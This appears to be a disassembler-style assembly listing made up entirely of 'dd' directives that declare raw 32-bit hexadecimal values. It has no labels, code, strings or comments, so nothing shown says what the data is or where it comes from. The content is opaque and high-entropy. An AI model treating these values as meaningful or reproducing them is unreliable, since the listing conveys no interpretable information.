		dd 8774D678h, 0DB228367h, 81E56A88h, 43FC51AFh,	0E87EF74Fh
		dd 15D4ABE6h, 8AEE4088h, 0BD3659Fh, 656E875Eh, 15ED7497h
		dd 0EE5FBED2h, 74D9AA33h, 5911C978h, 5DE9BBE8h,	0B97E2741h
		dd 50680A82h, 5462FE7Dh, 953C4E59h, 0A993BD53h,	0AAD7CAB8h
		dd 5E090D88h, 538E2331h, 8430CBC8h, 25584758h, 5BF9D4D2h
		dd 65B3502Ch, 30522940h, 1E2EC4Fh, 7F025C33h, 0FC05EAC1h
		dd 65E813F2h, 0C40C2B60h, 9838B835h, 0CDEE0B76h, 645FEC0Ah
		dd 92C90A5h, 699819F0h,	83598277h, 0C1D4665Dh, 0F15099E4h
		dd 48237C6Ch, 479F5479h, 0FFC8FEA0h, 83A00A4Fh,	0DBFD82C6h
		dd 0BEA020FBh, 0F25D7247h, 32632180h, 7EBE42h, 296A13BFh
		dd 0D42053B8h, 0ADF9584h, 422C47C6h, 27EB6E08h,	68E1EC51h
		dd 3664195h, 0DC4A7209h, 8294DA02h, 0E3ED8103h,	5F5BEA54h
		dd 8032E6Ah, 40C6F9E9h,	0F1295F1Eh, 0F68B6F1Ah,	7F2B8CB9h
		dd 5F4BF8FFh, 2A9E32E1h, 0C8525Eh, 6A685217h, 61E5B87Eh
		dd 0C2A52189h, 69895B7Fh, 6850E768h, 615FBC2Ah,	7E2EE916h
		dd 0DEF0AF22h, 0CD210F65h, 0B4E44FA4h, 1278ECC4h, 0F5810601h
		dd 76DB270Eh, 407AD6Fh,	1FE1660h, 0C6E7C8BAh, 36A55414h
		dd 32EB05EEh, 0F48124C9h, 4A628DE2h, 2BEA8101h,	0F5565254h
		dd 0B6368D8h, 8A8AC288h, 9A0CBADDh, 0B7CFD709h,	85DDA2E0h
		dd 20971A97h, 696A54C4h, 0F4681235h, 7176453Bh,	0D205FDF3h
		dd 0FE85ABB8h, 0D30F60CFh, 0B97868E0h, 49987995h, 9F0E775h
		dd 4C7E5AE9h, 7F251D2Eh, 33A44D45h, 0DA55BDE2h,	0D98C5926h
		dd 0E16DBE5Ah, 4F664160h, 6AECC45h, 0FE11466Eh,	0B294D727h
		dd 0D1E5EA80h, 22EE61C0h, 0F62C1B42h, 0AA984B8Fh, 0DF3A8022h
		dd 6C17B1Bh, 8A20A0EAh,	7C7A5A7Ah, 0A47ADE27h, 0F1DF7F6h
		dd 540F0761h, 627DCDE9h, 4167DD22h, 0C641E906h,	0D560BD75h
		dd 5B970831h, 0FC99BDD6h, 0DCD9C5B2h, 0ADBA96EFh, 0D0F441B7h
		dd 0D15ECD2Eh, 27CF6D33h, 533077DDh, 75B0C729h,	0B7883929h
		dd 0E9B4D20Ch, 0FC82E5FDh, 59CB315Fh, 80705ADDh, 1941DBEEh
		dd 40D82934h, 8677A471h, 6AE4917h, 9B3492E7h, 6E3E81BDh
		dd 8541AC63h, 2A39C836h
		dd 2E0C100h, 0EE3F6F05h, 1F020A75h, 0E9AEFE4Fh,	121F7C60h
		dd 0B0A100BBh, 0CB814B06h, 323B23EEh, 63F3035Bh, 0E06E1C41h
		dd 244F11E9h, 226693Ch,	4790726Dh, 1AF540CBh, 140C1C08h
		dd 0FC0AE142h, 0EA75AE34h, 0B734F02Dh, 2DC2B2DEh, 0CAEE0F7Ch
		dd 9258B0EBh, 68ECBD62h, 772D4232h, 37E9B948h, 0C12EAD61h
		dd 70C405E8h, 30C73E0Eh, 0A57A34AEh, 55521E7Ch,	5F28DF65h
		dd 44037BE1h, 84103999h, 0E95FE4AFh, 0E0F19F4Ah, 922AB92Eh
		dd 658B7F05h, 591874B3h, 0E5D192FEh, 0E26641BDh, 5848092Bh
		dd 1255FB5Fh, 0BE50EA2Dh, 0D7BA25D4h, 527F8C32h, 309CC3AAh
		dd 748A7612h, 0D6504562h, 280D3409h, 3C7461C3h,	0B4079B23h
		dd 0B1EC802Ah, 0CD58E328h, 0D063E2CBh, 6EF60628h, 7DA63925h
		dd 0DBD2839Bh, 0C7095248h, 681748A4h, 6F8C7E02h, 0F36A168Fh
		dd 50E1077Ah, 67820B0Ch, 94559A8Ah, 0BB530213h,	2A163319h
		dd 45EF2D40h, 7F60F425h, 29F8163h, 4075FA17h, 76208866h
		dd 501408Fh, 13E213Bh, 0E9C629F8h, 0CC6A2E54h, 0E39FC894h
		dd 9CF8EDCAh, 0CE1EE83Bh, 8CEE4FF2h, 0F6C2E6CFh, 74C12841h
		dd 5FC79D49h, 1A8C3889h, 0DEDC5744h, 58B8F76Ah,	0F6C29C2Eh
		dd 405FA655h, 48E0715h,	0F3E9D42Dh, 0EFA3FEEEh,	0C685F393h
		dd 0B5349F48h, 0F268BDA1h, 8BE22E42h, 5A1D90D3h, 6C502C61h
		dd 1E048908h, 4C015EAFh, 5C16E907h, 0A3063532h,	0D1613D46h
		dd 7D73028Ch, 484075ACh, 0DB98177h, 967B2FE7h, 0F6F404D5h
		dd 0D82CB403h, 4FF0313Ch, 923CAC58h, 93FFA7ABh,	53867008h
		dd 2C9E62D9h, 0FA936Eh,	0B9108981h, 0E603BB6Bh,	0E91CC66Eh
		dd 0C7D4E4E1h, 1BE39384h, 38516F50h, 8D4C7CB1h,	0E5EB800Bh
		dd 0FA40AB42h, 1F992135h, 187A0E88h, 310DF8C1h,	0B407295Bh
		dd 0FD0B67B2h, 28578AB1h, 4071C947h, 95FD286Fh,	801C5796h
		dd 0E5CE91EDh, 64CDC1A2h, 1685DDF6h, 0C2EF3060h, 0B56E5h
		dd 9D3BC626h, 9D39876h,	0C5E7F170h, 51002CDEh, 7A2680B9h
		dd 7679812h, 71873EE2h,	0B0035781h, 0DAF706D3h,	0C28EC0B7h
		dd 8D6213DFh, 5F16AF4Bh, 0E916C1B8h, 0A5A9A008h, 0BE2840h
		dd 68DF1E64h, 1751C681h, 0B453462Ch, 79F8A51Dh,	3E835096h
		dd 45DF9EFh, 0E344575Ch, 17A7BC02h, 0CBA3B958h,	3F4A6808h
		dd 0C93D273Fh, 462FEA3Dh, 14C75FA3h, 4F2EBF04h,	1EF40DA4h
		dd 11051831h, 8FCF113Ch, 15033B17h, 94242C07h, 0A00BF7DFh
		dd 0F58BA918h, 0E9087BC1h, 0B6257428h, 0F47988E2h, 4C1B2720h
		dd 9913D6B7h, 65598C0Ch, 580765B6h, 4A85C531h, 0ECEF4E4h
		dd 1FA57953h, 595DE6C0h, 18CE48D1h, 0FBC8BBBh, 0E6C6E99Dh
		dd 99FE2FC9h, 500F07C6h, 0E080EDB4h, 0E9E18838h, 0F74040F8h
		dd 0C5A40082h, 98971B96h, 9C8F2CCDh, 64AF8259h,	16604F82h
		dd 0C32F3FAAh, 0F43FE21Ah, 22C52707h, 795C010Bh, 0E116C882h
		dd 75D70AE9h, 450C608Bh, 5A1412BCh, 442306F2h, 55E22568h
		dd 3F60EBD3h, 4D865CFCh, 455397DFh, 4C685055h, 56170D2Dh
		dd 0E74B72ECh, 4EA5D241h, 702029B6h, 0F33B2E1Bh, 74B90963h
		dd 2D4794F5h, 0DB3010B2h, 0CDB49E98h, 2827C3C2h, 0FA6634CBh
		dd 0FA7E6F8Ah, 1679959Fh, 250EE708h, 401B274h, 29353C96h
		dd 0F6A9002Eh, 3AF8EFD2h, 0A8D6E917h, 44A8C329h, 33FB0B48h
		dd 62603EFCh, 2025C1E3h, 0BD4A509Fh, 21C5F05Ch,	220FDEEDh
		dd 13442Eh, 2C1A101Ch, 0FB0B296Fh, 59C7A0E9h, 60E29C76h
		dd 68EED104h, 0C1A604E0h, 2C67C04Bh, 4B603DF8h,	7D3AE5Ch
		dd 2081A0C2h, 62CF2E77h, 8C194A8h, 9042BD5Ah, 0E309D395h
		dd 0BDAEF3ACh, 9CAC290h, 440D8668h, 0C3FCB7CFh,	82FCB758h
		dd 410D1BC1h, 2ABD72EDh, 40E82DAAh, 26DBEEF2h, 3A81F251h
		dd 0BBEB5160h, 25A5306Ah, 2308A30Ch, 0D30A785Fh, 0C3408C3h
		dd 0A9E91402h, 1FF05A8Fh, 43AC1F83h, 0D15DEF09h, 4906709Eh
		dd 56797614h, 9C6B0C0h,	97E905A4h, 0D35A427Ah, 0A19BAB9h
		dd 968A4E77h, 922188DFh, 756F9D62h, 0C317FECAh,	0B89387B2h
		dd 13DF81C6h, 26E7C91h,	53C201EFh, 0C83CF956h, 8CA061E8h
		dd 47C0BB3Ch, 1A10C14Fh, 7B036575h, 531415F8h, 0F9819EC1h
		dd 3017E822h, 4701E288h, 0DF01248Fh, 5689DE9h, 16890502h
		dd 0A2809E5Dh, 314C5C30h, 0ADE927h, 660E2D5Ah, 143143Bh
		dd 88059BE8h, 0C06BB107h, 50593854h, 0B5D0B5Ch,	0C052E903h
		dd 178DBE82h, 0F9223127h, 15E103D1h, 0B5834CEDh, 0D75ABF58h
		dd 0F7951C24h, 9150F0D0h, 6D12A94Fh, 89C07AE9h,	0CB43F480h
		dd 24FFB106h, 0CCFA685Ah, 4648B3F4h, 0F5B2F23h,	4469E4FBh
		dd 0D8C011FCh, 58330E31h, 0F2D4838h, 0F2F3BE23h, 9CC395C1h
		dd 2D787E33h, 959FBDAh,	4A194B43h, 482FBC55h, 26E07BB0h
		dd 16C2E7B5h, 9EBA015Ch, 2F4B4637h, 0C917401h, 0F16F5065h
		dd 2F6085B0h, 0B6C71743h, 0B1E3F90h, 7E18C05Eh,	0E9C733F4h
		dd 4EED38F7h, 0BCE26BB8h, 5C4B6970h, 9D2A3ED9h,	0A4DB9738h
		dd 68CD88EBh, 53F2C509h, 5C7E5E4Fh, 62BA314Bh, 3E5CC1B4h
		dd 0E9E11A21h, 0F26B7579h, 0A320492h, 0AEA3E9Ah, 1208EFE2h
		dd 0E516EA5Ah, 8A49C965h, 10C30057h, 3A34A603h,	0E4AC4CBFh
		dd 0B71B0845h, 777B681Ah, 0FC8A5EA4h, 0B6528784h, 5AF530B1h
		dd 0B1880370h, 0F0E0A00Dh, 9EBA9F3Fh, 53519B60h, 0F1B2BAFEh
		dd 725551AAh, 0CB0ED4D1h, 0C70F0B05h, 0EB53E1C2h, 0C98100ECh
		dd 5E2E0613h, 764A475h,	639E16C1h, 0F1D82337h, 5CCC122Dh
		dd 0D35EFA0Fh, 136C8A9Bh, 25AF260Ch, 4294BB52h,	0B911F4EBh
		dd 6F300CF6h, 5A644827h, 876BC7D7h, 1C3212E9h, 30B1E7D5h
		dd 37A3550h, 0CFFE2598h, 0D6FC8500h, 9A50E42Dh,	3DC0973Bh
		dd 40824F7Bh, 7A282FD1h, 80765BE3h, 0B605ADCBh,	20D4541Dh
		dd 1556F26Fh, 0C2B8CDE9h, 0B151D807h, 0D470A3ECh, 595B3405h
		dd 0C205F188h, 8DAE0445h, 43329F9h, 222D189Fh, 0E092A9F9h
		dd 0B1FC3E66h, 3330094Ch, 0CFBD5274h, 216AF300h, 0DCE5AAEEh
		dd 542F3A80h, 5A04F376h, 1483D0F6h, 0D5E9EF89h,	2CEF9A16h
		dd 6ED5A436h, 93AAB2BEh, 9E9F61AEh, 434B02ABh, 86635406h
		dd 681F1611h, 0E945056Fh, 0AB8A95D7h, 0CE874081h, 404C2E20h
		dd 50015F79h, 73478BB8h, 0B9EF0512h, 0F882ED8Ch, 38926E2Ch
		dd 2038037Ch, 0EE297D95h, 5F054F3Bh, 62A4CFD0h,	0FA47A544h
		dd 5B7C9CCAh, 89C4DCh, 7235C7A7h, 62C1FDF0h, 5500444h
		dd 22C6AAB4h, 0B7CC5F08h, 0E99DB8BFh, 1D0594C6h, 52018380h
		dd 0E2B317B2h, 89BC0FBh, 6071CAE1h, 20B62335h, 9FEF3EBh
		dd 1B54A76Eh, 0A0C050E4h, 12D01063h, 0EE64E90Dh, 79CB6012h
		dd 0D929FB5Fh, 1257D918h, 88886CE9h, 51095EA7h,	0D92FB868h
		dd 100BF52h, 5AB925ECh,	6C27FD65h, 78147531h, 55CE092Fh
		dd 6A1DF799h, 2F5A420Fh, 408F0951h, 5004ACDEh, 0A3E08E3Fh
		dd 0C2FEB88Bh, 0FAEA3980h, 280CBFCCh, 16225AD0h, 432F8F9h
		dd 0E916A261h, 7638C0B6h, 648258A1h, 0C55F474h,	6C20E060h
		dd 5905E22Bh, 5BF95399h, 0DE83C02Fh, 0FA481D93h, 75B41702h
		dd 0A829820Bh, 5F16089Ch, 0EF7C94AAh, 92DECBE2h, 5EAD3372h
		dd 80B7C5C9h, 48F86871h, 4B5B5708h, 305CBD4Bh, 762D7205h
		dd 85175EE1h, 8BD4B9CDh, 48DB81AFh, 13BCA31h, 0AD363546h
		dd 0C0AE050Ah, 741AD273h, 60E94A17h, 5A5440C1h,	0A641E03Bh
		dd 0DF564769h, 5FE970E8h
		dd 0CB3D07BCh, 82E421E9h, 2E48A559h, 562572BEh,	0C2E9F65Eh
		dd 0E90102DCh, 416BA6D4h, 0EA672B76h, 2BA46A04h, 5C3E40B5h
		dd 7DD4D09Fh, 8EB68DDh,	4FE90484h, 0CE5D0A5h, 277AD874h
		dd 6EBB9F25h, 0DA68179Eh, 0EE7F8C6Dh, 5CF54E41h, 0B4D7C2A7h
		dd 0BE0A86C7h, 8839C2B1h, 0A720BD5Ah, 2DD798B5h, 8866CF8Bh
		dd 0FC1D906Bh, 0EAC38351h, 0E5FFD77Eh, 5B00AC48h, 8900B1DDh
		dd 5F4A60F9h, 12DF91Ch,	576107C6h, 0CEE5E968h, 5A47AD3Bh
		dd 0D8AD6057h, 7A59B901h, 2EEDC161h, 57558C00h,	0A0460905h
		dd 0B862CEF0h, 33E917A6h, 1341F6AEh, 75B29A3Eh,	0B9B02F78h
		dd 0C08FDA53h, 74E0A502h, 195FC9F4h, 0F51C5709h, 58E06A5Ah
		dd 0AC724B89h, 0CD1C41Ah, 4FE70C1Dh, 8BEA8106h,	0A4C3817h
		dd 18066602h, 638570Ch,	0E02E8C1h, 1D68C831h, 2D4C517Fh
		dd 875CB957h, 0AD17F17Eh, 4277E808h, 0BF1B7A0h,	0E63B088Bh
		dd 1121605Ah, 0F674C980h, 0FCFED93Ah, 0F40FC85Bh, 0FAC6A75Ah
		dd 0C1B81094h, 3D21FF5Fh, 2697A720h, 0D552AB2Dh, 0B0549CCh
		dd 33C067Fh, 142D0C85h,	679F0F07h, 797FC6C2h, 9F7E5266h
		dd 31929744h, 0B401FD59h, 3F3AEF68h, 758ACE32h,	0E8E90718h
		dd 20EBC04Bh, 6375BAE8h, 45FE3364h, 12F53A88h, 0D066DE48h
		dd 2008CC39h, 30042648h, 0BEEF91BCh, 0C1495801h, 57E0D32Dh
		dd 88395052h, 0A0C633C8h, 9018A660h, 18C00953h,	42FC2996h
		dd 63FD5E3Fh, 8FC8013Ah, 0AF35C45Eh, 5D7E068Ah,	0E15F4859h
		dd 4FF37B83h, 0BF17EED2h, 0A1416AF2h, 693DC5CDh, 0C660DA89h
		dd 1A0958BEh, 0D5211E44h, 2AE4DE2Fh, 55A4BE81h,	0AD6F41C1h
		dd 61F45957h, 7B12D8E9h, 4FFBBB56h, 0D69E5F8Fh,	31C8BFD0h
		dd 30025E21h, 671F69C3h, 9F9284Eh, 81D8BA4Bh, 0A92F6063h
		dd 44C87612h, 287BC4A1h, 0ECE9139Dh, 5F5EC4C1h,	0F16046C5h
		dd 2B793CBDh, 562C2AE0h, 0D2950372h, 5A088053h,	0D55D25E9h
		dd 4D5591FDh, 81DED03Bh, 5B1DEEF2h, 0C2813DC4h,	0DC160155h
		dd 0AED6123Eh, 0D4E7B01Ch, 0E04BE268h, 0C1A6A457h, 5D8BD0BEh
		dd 121CBB53h, 0E1EFC016h, 0C728193Bh, 8FCB8101h, 0EC29C501h
		dd 0E59D337Fh, 3E680408h, 31CCCD74h, 0AAA7CAD7h, 2956F2E2h
		dd 26EA4757h, 951255Ah,	4134716Bh, 7B8EA6E9h, 742F6C3Ch
		dd 5020062h, 6FB138B9h,	55730F0Dh, 35D8D0C0h, 5B222015h
		dd 0A164EE8Ch, 0B04E7FEh, 669A3BE9h, 8063FA5Bh,	0DF4B895Dh
		dd 44E86E6h, 0AA71B53Fh, 938425BDh, 658C16E7h, 3853012Bh
		dd 5B840561h, 7A86F48h,	39C06027h, 20A01CBFh, 4C9D8919h
		dd 6E4E2D19h, 0A132177h, 0B3211870h, 2DE57520h,	20DFF7CBh
		dd 0CA74BECDh, 98E91766h, 7A41F564h, 0B248EFF9h, 0AA37575Fh
		dd 41A04F40h, 38686E17h, 27422E38h, 6A5D8150h, 0B36C31F5h
		dd 819CF05Fh, 14B07F3h,	59F610F2h, 40F4E16Bh, 0A554BFEh
		dd 2B93F255h, 0E9E828FEh, 0B6A683F0h, 0E9307195h, 0E26DD155h
		dd 3ADF22E8h, 999CFD98h, 3849E913h, 0B21629F3h,	0B47CB846h
		dd 6689FEFDh, 8D438256h, 0ACAE4B6Dh, 9706D068h,	78ED23BBh
		dd 0CA812B01h, 1AEA55F3h, 4C4CB2Fh, 7B100B49h, 5D0A69C2h
		dd 66130E45h, 7EBD7453h, 7E8BB127h, 6E0701FCh, 0C45F4179h
		dd 63D8A6D9h, 0EE3912FAh, 0AE82BF72h, 0B0EC494Bh, 0B8E9003Fh
		dd 34DE0B98h, 7E0C100h,	0E2527A25h, 5B350F58h, 0F157C217h
		dd 47C06E13h, 0FB55A68h, 83E28175h, 807DA844h, 0D9F263DDh
		dd 53E4FD5Bh, 0D77A80CBh, 9E51F1B5h, 57CC4B92h,	60DD9255h
		dd 2EFD4669h, 1AB1EDA7h, 9BC15C56h, 0B0212EEBh,	2EAAF043h
		dd 0B0044B93h, 6C9F5AD7h, 0EEB95845h, 0EF008694h, 1741045h
		dd 0B85150CEh, 0EA0CAD08h, 0D460DFCFh, 55598168h, 943A84BAh
		dd 0C8030409h, 0B2A72CD8h, 0CE7F7E62h, 0F56815F0h, 1612D27Bh
		dd 7B0B299Eh, 4238F6CAh, 11B47DA1h, 0F32782FDh,	0E5BD74E6h
		dd 5EEA62CCh, 0E8AF3104h, 554BDF59h, 90D52D1h, 6DF90960h
		dd 8DDE9F5h, 0F9F74A21h, 9C824FFAh, 0F0D43C77h,	3757057h
		dd 0DE18A2F6h, 0E3A465Bh, 2B5187B0h, 36B4684Eh,	406C31EAh
		dd 0E3280195h, 168692Bh, 3A71D287h, 78880981h, 1C5D783h
		dd 4DC3697Fh, 5F8F0E04h, 2CC37363h, 2759C864h, 6F79092Dh
		dd 32277B5h, 8BFC42DFh,	0DF1A896Bh, 3C9CCF81h, 0D19D60AAh
		dd 5F507041h, 4E8F31C2h, 0D9A3E17Eh, 0A59D01CAh, 3005F566h
		dd 0C01FC221h, 0E9424AB9h, 803A1D58h, 23084C1h,	0C4A89775h
		dd 0B0082A08h, 0C7504BAEh, 5E02691Ch, 275DB42Ah, 6FF240A9h
		dd 809F566Bh, 260E0D06h, 250954A4h, 271D0972h, 4B8702C5h
		dd 56970B0h, 22590B16h,	5B3A8915h, 0AF6702D7h, 32EE7562h
		dd 0D51DC2B5h, 3671BE8Bh, 941A0B2Dh, 92595B4Dh,	0B070988Ah
		dd 800EB601h, 0B72CE8EEh, 5392B03Eh, 78446814h,	0C5B6CF96h
		dd 36E8F388h, 20DE66A2h, 0E9805703h, 765992FCh,	2D211E9Ah
		dd 0BB0A3075h, 0AD489515h, 0CCB1AA1h, 56B3F65Fh, 48F4E927h
		dd 1EDAC32Ch, 0C93CA826h, 5030949Fh, 5F82E7ADh,	1363F0E8h
		dd 5F41AF17h, 9CE93621h, 0D14A2C33h, 0C28C10B9h, 0AC0CC5FDh
		dd 0CF470A6Eh, 86F381A9h, 7A462A36h, 26DF89A4h,	678D3Fh
		dd 69AE9AEBh, 68B553D5h, 58D17963h, 0F728DB4Ah,	0E95B3807h
		dd 0B170A9B1h, 0ECA030ACh, 1DC78080h, 57CF28A4h, 3EC0A8EFh
		dd 4F68C0EBh, 4E3CFA47h, 12DBB05Eh, 0BBBB8CE9h,	0BE089E25h
		dd 0BE281383h, 7F104D8Bh, 0D1045AFDh, 23AD7068h, 0AA780B12h
		dd 14C8A6B3h, 82555A09h, 5C4A82F3h, 0C0AD8EEBh,	0F5C0086Eh
		dd 59EB8832h, 0F91DF3F8h, 892DE950h, 99487F23h,	472838B5h
		dd 0CF01D757h, 4A70E661h, 81BEC5E9h, 72D4F103h,	64DFF54Bh
		dd 1B44AB82h, 0BB006C05h, 64CC233Eh, 0AF5FF7F4h, 0E6013D0h
		dd 21DE9F9Eh, 0A34A82BCh, 0E029A9A5h, 4C4B686Ah, 7CD4C34Ch
		dd 5E04AA03h, 0E9F05B3Bh, 8CB9900Ch, 5A7958A5h,	3AE9CDA0h
		dd 7684CBE8h, 0B5FC1669h, 0B50A8120h, 0A2E5283Eh, 0D048529Fh
		dd 8141003Ah, 4E2738E1h, 6796C48h, 0C07135F2h, 59FB02AAh
		dd 0CD0136B2h, 8447560h, 745F6F27h, 2A47247Fh, 54685B9Fh
		dd 0B02062CAh, 0E87240B5h, 8840828Eh, 583D6A87h, 843B9626h
		dd 17D6C0E4h, 0FF1B78FAh, 0B16BEF05h, 0C06746AEh, 5F0254E3h
		dd 6D605505h, 0FA5E554Ch, 16450350h, 962D4133h,	0E5046E25h
		dd 2976F011h, 55DF0AFh,	0C1E90AA0h, 84CEF64Ah, 2FCCA24Bh
		dd 0DD9177D4h, 6CB87ADAh, 205EA5C7h, 23840514h,	0B4CD5872h
		dd 3EECDB9Eh, 0B970010Fh, 125B6850h, 29A375Eh, 3DE9C229h
		dd 0B15A4B53h, 80208812h, 98C0E6FEh, 2F6C90D8h,	0AAFA5AB2h
		dd 12C0F674h, 69C28054h, 8EA04C0h, 0E430DEE9h, 0F616C3BBh
		dd 9FACC9Fh, 52DB5975h,	0DA900D09h, 49252094h, 0C8BF0F13h
		dd 2ABF9F84h, 10844906h, 0A84F32C5h, 0DD257892h, 81B732Fh
		dd 1492464Eh, 202E2DBAh, 5061302Bh, 6E2C012h, 943D6D20h
		dd 83680448h, 5834DA7Eh, 0E7BD6A7Fh, 0FEA8E209h, 52FD426Ch
		dd 0B5315E03h, 648EE721h, 92AE416Eh, 7E2C3D42h,	0C9024AF8h
		dd 1BDF5A1Eh, 2264B600h, 4BA4EA7Bh, 0D266FC9Ch,	23089906h
		dd 67C23183h, 59E3881Eh, 3E7238ECh, 4E8A58D8h, 0F23B44A1h
		dd 0FA079B59h, 0DB2261E7h, 0E189857Bh, 0A6CE2B1Bh, 0C113094Bh
		dd 0C4B9A5A0h, 6E5A852Ch, 422EB2A1h, 4BE9C574h,	551C35FCh
		dd 0B8AC04D6h, 278B649Fh
		dd 57431277h, 16A8EB70h, 0DE956856h, 95E13F9h, 0C02A7663h
		dd 8E6A03A8h, 0A209141Bh, 60D650F2h, 256123B8h,	62F77D90h
		dd 0C080DAEh, 575A1401h, 3D674664h, 4FCC8E6Fh, 0E070ED58h
		dd 5BD91631h, 0CCD51E83h, 0EAFF45B7h, 0E160A41Ch, 5136D0ADh
		dd 0A51D08C2h, 8345DF2h, 0F81420FBh, 6B4FFA98h,	0E330C7DDh
		dd 3E0C2FAFh, 9657FD86h, 0EC5D8540h, 9FE4B229h,	0DBEBB507h
		dd 0FFBA8084h, 5C2957D8h, 442639D3h, 6CDE6920h,	327BD75Ah
		dd 445EEB96h, 912A284h,	0B8F74780h, 4BC83B3Fh, 1B64E700h
		dd 0DAE9607Eh, 62F72A4Bh, 0BA826626h, 39AEBB01h, 6BA623E9h
		dd 6526F740h, 955D10D1h, 0BD204F52h, 0FD514B8Dh, 0A3BAD2B5h
		dd 96EDD320h, 3F24EED2h, 3C7BB0ABh, 7C70712Ch, 176E600Eh
		dd 4C3966EAh, 0F25E781Eh, 0EC0C0EAEh, 4021FF8Eh, 0B84A5066h
		dd 0A4E8E494h, 0CB044448h, 0AADF15DCh, 0F3C1580h, 0E9140C57h
		dd 5A401F5Eh, 0BD68663Bh, 15EA347Dh, 0EB04D8EEh, 807AB546h
		dd 7CB7F8BAh, 812DBCC3h, 8AB84F00h, 1902C902h, 4408BD05h
		dd 5ED2624Fh, 66DA5B95h, 0E94D9880h, 599ABD7Bh,	4C23142Ch
		dd 0DC78C7CFh, 0D0BB0924h, 16278CDCh, 36F8544Eh, 552C3750h
		dd 0C3041AB8h, 16973CE6h, 86589851h, 12A3A04Ah,	6DD552DAh
		dd 5C96224Ah, 5A851C30h, 1632BF65h, 4CBF0C0h, 23D5EBAh
		dd 38D8C762h, 51BD5500h, 0A2681A37h, 5C4BF5E4h,	0D449FAB8h
		dd 54975871h, 3540807Dh, 2B9A5CBAh, 323956EAh, 39C5CCE4h
		dd 6904FE5Eh, 0B2E9CB29h, 5A5947E0h, 0EC0B8266h, 39B873D5h
		dd 1C5AC12Dh, 884515Bh,	0A175EDAEh, 3082EDE5h, 0FE88FAB7h
		dd 6B04E261h, 0DFEF0312h, 0B23D4C04h, 0DE1C7D58h, 8023A52Ch
		dd 0F56851C0h, 251FCC7Fh, 0F1078187h, 0F6ACBA20h, 87FCA1B5h
		dd 60282350h, 80E7A9B1h, 0F61D07C7h, 8DBC0D7h, 9BF7D00Ah
		dd 0FDA358B2h, 0E37DF525h, 0ED67ADB3h, 16C32715h, 18C0A52Ch
		dd 0BD585450h, 55256B65h, 0A9E98398h, 2620F49h,	7794746Ch
		dd 5DEA058h, 0B010D71Ch, 74CDA21Ah, 0B8120B69h,	0F60241Ah
		dd 305C2FFCh, 481F1C81h, 46E25A38h, 0E4D0CAA2h,	93CD293Bh
		dd 0C9FC8567h, 30D6F7F1h, 2124DF9Dh, 0D2123A62h, 74FA56C5h
		dd 0B550AC97h, 0D210B4A6h, 0CE05E6Ch, 990C0F05h, 0C60A5E49h
		dd 0E5E91E07h, 0EF5CE104h, 12B1961h, 0BCADB2Ah,	0FE97E954h
		dd 1C77271Ah, 0F7BDAAA3h, 9B88C959h, 52AC0B63h,	5F92F5h
		dd 0B47F0EDDh, 0B1E9044h, 60233C67h, 6E985A80h,	50BD5CEFh
		dd 1666E4BBh, 0A865506Ah, 0B62E6481h, 0F11B3D83h, 95222C11h
		dd 82578D04h, 286CCF31h, 0CA040601h, 25E12EFCh,	0B7607A01h
		dd 1324807Eh, 5614D568h, 174617BEh, 0A7170470h,	35581DCAh
		dd 0CBF231CDh, 2A58941Ah, 5A05F1BDh, 0AA5BD45Fh, 78E520F8h
		dd 711C6827h, 2B1BEFCh,	0F8F68167h, 717E620Ch, 3C2FF37Dh
		dd 482651CBh, 0EBC1258Bh, 64B241ADh, 0F6878018h, 2E3C7FCCh
		dd 0FEF75001h, 0B2688089h, 46657C01h, 8E6C15Eh,	3DE6816Ah
		dd 6A219713h, 0FEFC94EEh, 3FF09D77h, 20E97750h,	591E323Eh
		dd 6216D6F6h, 485DFB49h, 0C777D94Fh, 0B593C53h,	928CE75Fh
		dd 0F8E9C45Bh, 0AA20848Ch, 0C67540BFh, 9316E2Bh, 6A330CC0h
		dd 5B29A0F2h, 8EE3ECF1h, 78D6C448h, 0A05A66B2h,	65404658h
		dd 34F50081h, 6810CA3Eh, 6D9E2E7Bh, 38E0263h, 5AEF7AABh
		dd 0BDD958DCh, 28083382h, 3178D55h, 0A30D51D8h,	972FF15Ah
		dd 10E636F2h, 2C6FBD07h, 0B4A213F4h, 0C5CEAE93h, 62C8F8FEh
		dd 48767E38h, 2C058509h, 0FA0F9531h, 7B9DCE81h,	0BB0227BBh
		dd 5E32130Ah, 97DAED82h, 8CEF2C69h, 0DB740E80h,	6250231h
		dd 58592DECh, 2BE830D7h, 6DBCF0Eh, 0A3E46016h, 40C06E1Eh
		dd 0A068B7C3h, 0B1899730h, 0B898FC04h, 255FC1CDh, 6A702E02h
		dd 1B260022h, 667E3517h, 4095073Ah, 3EA816Ah, 75980E7Ch
		dd 0BAC7CA29h, 5C1C3008h, 104B2140h, 0B722B693h, 72FA170Eh
		dd 41F02116h, 2EA094Ch,	50D7F797h, 93715157h, 901EAE5Fh
		dd 0DD8192F4h, 0F4D00E9Fh, 8C56B7F5h, 51798F79h, 1EE3CB25h
		dd 725D29FFh, 0A1B981AAh, 98D13F79h, 0B7535100h, 75E78010h
		dd 270F5CB0h, 275BFD88h, 0CDC2E9F5h, 90E35DA2h,	0FE04060Ch
		dd 27DE1CC5h, 945DEB88h, 2DE32D56h, 50D6F102h, 98FC5ADDh
		dd 0AC8D325Eh, 10FD010Ch, 0A86FBF2Ch, 1698E7F9h, 0D35D94Eh
		dd 6E2B9CFCh, 17401AF4h, 0AD2F9516h, 19220606h,	0C1486h
		dd 92B71EE4h, 0A869E953h, 5DEA3BC5h, 7C6419FEh,	0B3F7CE9Bh
		dd 5DF3EAA8h, 2620F116h, 4B6D9086h, 4B60A9D8h, 7CF218A0h
		dd 44012D54h, 580D1BD7h, 8620BA18h, 5BA85D4Eh, 2CBD160Bh
		dd 8712877h, 25FA1C30h,	825D48DEh, 0B21AE717h, 0E1247874h
		dd 8CB8BA88h, 1A234832h, 6FE8FA08h, 0C0A12A79h,	0E860D41Ah
		dd 14C05F53h, 0C42D8EBAh, 69439010h, 5ED0E351h,	2D81DA97h
		dd 3159565Fh, 0FB3C5E10h, 907572Eh, 0D3209FC1h,	141DE6F5h
		dd 0B8034Fh, 0D38B136Fh, 59DD41F7h, 0F86FD035h,	0EA56F274h
		dd 0B241F5DDh, 0C4A9E02Ch, 2C33EEC8h, 5FF6082Bh, 0B530AC0Ah
		dd 24D6809h, 7D6DF3D5h,	3BCACDA7h, 0AC67C8FDh, 529B2808h
		dd 0E3E916EBh, 0D24E903Dh, 0FAF1C97Dh, 0CC1DE9F0h, 89963F35h
		dd 0A76FBB1Dh, 0B775E64Bh, 31682BE0h, 0DEB13538h, 27BD3EA5h
